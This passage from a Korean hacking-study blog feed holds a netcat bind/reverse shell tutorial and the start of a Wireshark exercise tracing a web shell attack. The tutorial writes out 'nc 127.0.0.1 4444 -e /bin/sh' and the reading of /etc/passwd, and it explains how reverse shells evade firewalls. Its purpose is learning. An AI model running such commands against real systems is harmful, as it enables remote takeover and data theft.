&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;12.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lzul8/btqF1TUkSR4/UP005WPAoKnmwAn9PoOsQk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lzul8/btqF1TUkSR4/UP005WPAoKnmwAn9PoOsQk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lzul8/btqF1TUkSR4/UP005WPAoKnmwAn9PoOsQk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Flzul8%2FbtqF1TUkSR4%2FUP005WPAoKnmwAn9PoOsQk%2Fimg.png&quot; data-filename=&quot;12.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;연결이 되었으니 id를 입력해보자.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;13.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brZnye/btqF1nO60vs/lxEjjVuI9wGQ4FelXSNAu1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brZnye/btqF1nO60vs/lxEjjVuI9wGQ4FelXSNAu1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brZnye/btqF1nO60vs/lxEjjVuI9wGQ4FelXSNAu1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbrZnye%2FbtqF1nO60vs%2FlxEjjVuI9wGQ4FelXSNAu1%2Fimg.png&quot; data-filename=&quot;13.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이&amp;nbsp;id라는&amp;nbsp;명령어로&amp;nbsp;사용자의&amp;nbsp;계정&amp;nbsp;정보를&amp;nbsp;확인할&amp;nbsp;수&amp;nbsp;있었다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;14.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Bd4bB/btqFZ5Wk625/OkPkyTQkCr6FKte7Dv8NK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Bd4bB/btqFZ5Wk625/OkPkyTQkCr6FKte7Dv8NK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Bd4bB/btqFZ5Wk625/OkPkyTQkCr6FKte7Dv8NK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBd4bB%2FbtqFZ5Wk625%2FOkPkyTQkCr6FKte7Dv8NK0%2Fimg.png&quot; data-filename=&quot;14.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이번엔 ip addr명령어로 ip를 확인할 수도 있었다.&lt;/p&gt;
&lt;p&gt;cat /etc/passwd으로 etc파일도 확인할 수 있었다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;그다음 리버스쉘은 해커 쪽에서 포트를 열고 공격 대상이 해커 쪽으로 접속을 하여&amp;nbsp;생산시키는&amp;nbsp;쉘이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;15.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cWDq34/btqF2R9yYl6/TjI1IS6zKYuMSkEkeBzjgK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cWDq34/btqF2R9yYl6/TjI1IS6zKYuMSkEkeBzjgK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cWDq34/btqF2R9yYl6/TjI1IS6zKYuMSkEkeBzjgK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcWDq34%2FbtqF2R9yYl6%2FTjI1IS6zKYuMSkEkeBzjgK%2Fimg.png&quot; data-filename=&quot;15.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이번이번엔&amp;nbsp;해커 쪽에서&amp;nbsp;nc&amp;nbsp;-lvp&amp;nbsp;4444를&amp;nbsp;입력해준다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;16.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b7HYUv/btqF16lA5QU/R9O3r1qGWJi3eAUcvRbXzk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b7HYUv/btqF16lA5QU/R9O3r1qGWJi3eAUcvRbXzk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b7HYUv/btqF16lA5QU/R9O3r1qGWJi3eAUcvRbXzk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb7HYUv%2FbtqF16lA5QU%2FR9O3r1qGWJi3eAUcvRbXzk%2Fimg.png&quot; data-filename=&quot;16.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그리고 서버쪽에 nc 127.0.0.1 4444 -e /bin/sh를 입력해준다.&lt;/p&gt;
&lt;p&gt;그럼 연결된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;17.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WC9lm/btqF2Q3UfU7/miq3v7dKk4PJa7gjNvOgh1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WC9lm/btqF2Q3UfU7/miq3v7dKk4PJa7gjNvOgh1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WC9lm/btqF2Q3UfU7/miq3v7dKk4PJa7gjNvOgh1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWC9lm%2FbtqF2Q3UfU7%2Fmiq3v7dKk4PJa7gjNvOgh1%2Fimg.png&quot; data-filename=&quot;17.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;바인드쉘과 똑같이 해커 쪽에서 id를 검색하면 정보가 나온다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;그렇다면 왜 리버스쉘을 사용해야 할까?&lt;/p&gt;
&lt;p&gt;그 이유는 방화벽 때문이다.&lt;/p&gt;
&lt;p&gt;만약 해커가 서버 쪽 포트에 접근을 하면 방화벽이 접속을 차단해버린다.&lt;/p&gt;
&lt;p&gt;이럴 때는 바인드쉘을 사용할 수 없다.&lt;/p&gt;
&lt;p&gt;하지만 리버스쉘은 사용할 수 있다.&lt;/p&gt;
&lt;p&gt;방화벽을 사용하는 환경이라도 내부에서 외부로 나가는 접속은 허용을 시키는 경우가 많기 때문이다.&lt;/p&gt;
&lt;p&gt;(왜냐하면 내부에서 외부로 나가는 접속이 가능해야 회사 내의 컴퓨터가 인터넷을 사용할 수 있음)&lt;/p&gt;
&lt;p&gt;그래서 해커는 자신의 포트를 열고 서버 쪽에서 해커 쪽으로 접속을 하게 만든다.&lt;/p&gt;
&lt;p&gt;내부에서 외부로 접속을 하기 때문에 방화벽으로 인해 차단되지 않는다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>공부/해킹공부</category>
      <category>넷캣</category>
      <category>모의해킹</category>
      <category>칼리리눅스</category>
      <category>칼리리눅스사용법</category>
      <category>해킹</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/13</guid>
      <comments>https://geru.tistory.com/13#entry13comment</comments>
      <pubDate>Sat, 25 Jul 2020 20:48:08 +0900</pubDate>
    </item>
    <item>
      <title>와이어 샤크 패킷 분석하기 실습</title>
      <link>https://geru.tistory.com/12</link>
      <description>&lt;p&gt;와이어 샤크를 이용해서 패킷을 분석해보자.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;목표&lt;/p&gt;
&lt;p&gt;1.&amp;nbsp;공격자의&amp;nbsp;IP&amp;nbsp;주소는?&lt;/p&gt;
&lt;p&gt;2.&amp;nbsp;공격자가&amp;nbsp;서비스에&amp;nbsp;접속하기&amp;nbsp;위해&amp;nbsp;사용한&amp;nbsp;계정&amp;nbsp;정보는?&lt;/p&gt;
&lt;p&gt;3.&amp;nbsp;공격자가&amp;nbsp;공격하기&amp;nbsp;위해&amp;nbsp;사용한&amp;nbsp;대상&amp;nbsp;주소&amp;nbsp;URL은?&lt;/p&gt;
&lt;p&gt;4.&amp;nbsp;공격자가&amp;nbsp;사용한&amp;nbsp;파일&amp;nbsp;이름은?&lt;/p&gt;
&lt;p&gt;5. 공격자가 획득한 개인 정보는?&lt;/p&gt;
&lt;p&gt;6. 공격자가 시스템에 침투한 후에 실행한 명령어는?&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1119&quot; width=&quot;542&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rXMuu/btqFjqr1hzc/lLwPaxvyURLpK8EOu5kp9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rXMuu/btqFjqr1hzc/lLwPaxvyURLpK8EOu5kp9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rXMuu/btqFjqr1hzc/lLwPaxvyURLpK8EOu5kp9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrXMuu%2FbtqFjqr1hzc%2FlLwPaxvyURLpK8EOu5kp9k%2Fimg.png&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1119&quot; width=&quot;542&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;우선 저번 와이어 샤크 사용법처럼 통계를 켜서 분석을 할 것이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1119&quot; width=&quot;549&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bXBF5A/btqFkmCGiOk/oLbGDFcpenkrlRQ2VlOuLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bXBF5A/btqFkmCGiOk/oLbGDFcpenkrlRQ2VlOuLK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bXBF5A/btqFkmCGiOk/oLbGDFcpenkrlRQ2VlOuLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbXBF5A%2FbtqFkmCGiOk%2FoLbGDFcpenkrlRQ2VlOuLK%2Fimg.png&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1119&quot; width=&quot;549&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;TCP(Transport Control Protocol) 쪽의 퍼센트가 높은 것으로 확인이 된다.&lt;/p&gt;
&lt;p&gt;그중에서도 http 쪽의 퍼센트가 높은 것 역시 확인이 된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1119&quot; width=&quot;553&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qQbHC/btqFhlyHb5u/P53GWYzKfbEI9XKMtYklRk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qQbHC/btqFhlyHb5u/P53GWYzKfbEI9XKMtYklRk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qQbHC/btqFhlyHb5u/P53GWYzKfbEI9XKMtYklRk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqQbHC%2FbtqFhlyHb5u%2FP53GWYzKfbEI9XKMtYklRk%2Fimg.png&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1119&quot; width=&quot;553&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;Multipart Media Encapsulation부분이 적은 것을 보고 큰 파일들을 올린 것은 아니다.&lt;/p&gt;
&lt;p&gt;하지만 파일이 존재하므로 어떤 정보 파일이나 어떤 파일들이 올라갔을 가능성이 높다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1119&quot; width=&quot;569&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1JQWy/btqFjEQ7XLR/fGJzEZU0s9kKnrpDZ6Iwkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1JQWy/btqFjEQ7XLR/fGJzEZU0s9kKnrpDZ6Iwkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1JQWy/btqFjEQ7XLR/fGJzEZU0s9kKnrpDZ6Iwkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1JQWy%2FbtqFjEQ7XLR%2FfGJzEZU0s9kKnrpDZ6Iwkk%2Fimg.png&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1119&quot; width=&quot;569&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;Line-based text data는 브라우저를 통해 어떤 공격자가 웹 쉘이나 명령어를 통해 가지고 브라우저에서 결과들이 뿌려 나오는 형식.&lt;/p&gt;
&lt;p&gt;이런 것들이 뿌려질때 &lt;span style=&quot;color: #333333;&quot;&gt;Line-based text data이라는 프로토콜이 쓰인다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;Multipart Media Encapsulation -&amp;gt; &lt;span style=&quot;color: #333333;&quot;&gt;Line-based text data로 올라갔기 때문에 웹쉘이 올라간 형태의 가능성이 높다라고 추측할 수 있다.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;1390&quot; width=&quot;593&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EvJmP/btqFjct2aHR/K5wRZ7JxfITwK6jOrUbjS0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EvJmP/btqFjct2aHR/K5wRZ7JxfITwK6jOrUbjS0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EvJmP/btqFjct2aHR/K5wRZ7JxfITwK6jOrUbjS0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEvJmP%2FbtqFjct2aHR%2FK5wRZ7JxfITwK6jOrUbjS0%2Fimg.png&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;1390&quot; width=&quot;593&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;Conversations 클릭&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;Conversations은 이제 통신하는 과정에서 포트 정보 등을 기준으로 볼 때 사용한다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;6.PNG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;1052&quot; width=&quot;598&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uTpey/btqFkTGNJcN/yKL3ZLnCATIGFz9mmRjK0K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uTpey/btqFkTGNJcN/yKL3ZLnCATIGFz9mmRjK0K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uTpey/btqFkTGNJcN/yKL3ZLnCATIGFz9mmRjK0K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuTpey%2FbtqFkTGNJcN%2FyKL3ZLnCATIGFz9mmRjK0K%2Fimg.png&quot; data-filename=&quot;6.PNG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;1052&quot; width=&quot;598&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;TCP를 누른다.어&lt;/p&gt;
&lt;p&gt;Address정보들을 보면 2개 크게는 3~4개 정도에서가 찍히는 것을 볼 수가 있고 152 -&amp;gt; 154번에 접속한 흔적이 많다는 것을 확인할 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;7.PNG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;1052&quot; width=&quot;612&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DQ35p/btqFhLRB5uN/T0XkvTNYdQMiYE6WVWzXQk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DQ35p/btqFhLRB5uN/T0XkvTNYdQMiYE6WVWzXQk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DQ35p/btqFhLRB5uN/T0XkvTNYdQMiYE6WVWzXQk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDQ35p%2FbtqFhLRB5uN%2FT0XkvTNYdQMiYE6WVWzXQk%2Fimg.png&quot; data-filename=&quot;7.PNG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;1052&quot; width=&quot;612&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;152가 공격자, 154이 공격당한 서버라고 보면 될 것이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;8.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;498&quot; width=&quot;614&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1AWLL/btqFjpNvATs/U2tmHpz1kdX4ts2NS9WGfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1AWLL/btqFjpNvATs/U2tmHpz1kdX4ts2NS9WGfk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1AWLL/btqFjpNvATs/U2tmHpz1kdX4ts2NS9WGfk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1AWLL%2FbtqFjpNvATs%2FU2tmHpz1kdX4ts2NS9WGfk%2Fimg.png&quot; data-filename=&quot;8.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;498&quot; width=&quot;614&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;Requests 확인하면 파일에 접근한 것들이 나온다.&lt;/p&gt;
&lt;p&gt;이런 것들을 순서대로 보기 위해&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;9.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;498&quot; width=&quot;614&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YHwdR/btqFjdGyh8T/9ivKpo36zBdnQ2VmL8XsCK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YHwdR/btqFjdGyh8T/9ivKpo36zBdnQ2VmL8XsCK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YHwdR/btqFjdGyh8T/9ivKpo36zBdnQ2VmL8XsCK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYHwdR%2FbtqFjdGyh8T%2F9ivKpo36zBdnQ2VmL8XsCK%2Fimg.png&quot; data-filename=&quot;9.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;498&quot; width=&quot;614&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;Burst start를 눌러준다.&lt;/p&gt;
&lt;p&gt;그러면 발생한 시간대대로 정렬해준다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;10.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;498&quot; width=&quot;616&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/r1Duf/btqFkTND5OP/SXnbCmPQqF6dWZpCwcyLe1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/r1Duf/btqFkTND5OP/SXnbCmPQqF6dWZpCwcyLe1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/r1Duf/btqFkTND5OP/SXnbCmPQqF6dWZpCwcyLe1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fr1Duf%2FbtqFkTND5OP%2FSXnbCmPQqF6dWZpCwcyLe1%2Fimg.png&quot; data-filename=&quot;10.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;498&quot; width=&quot;616&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 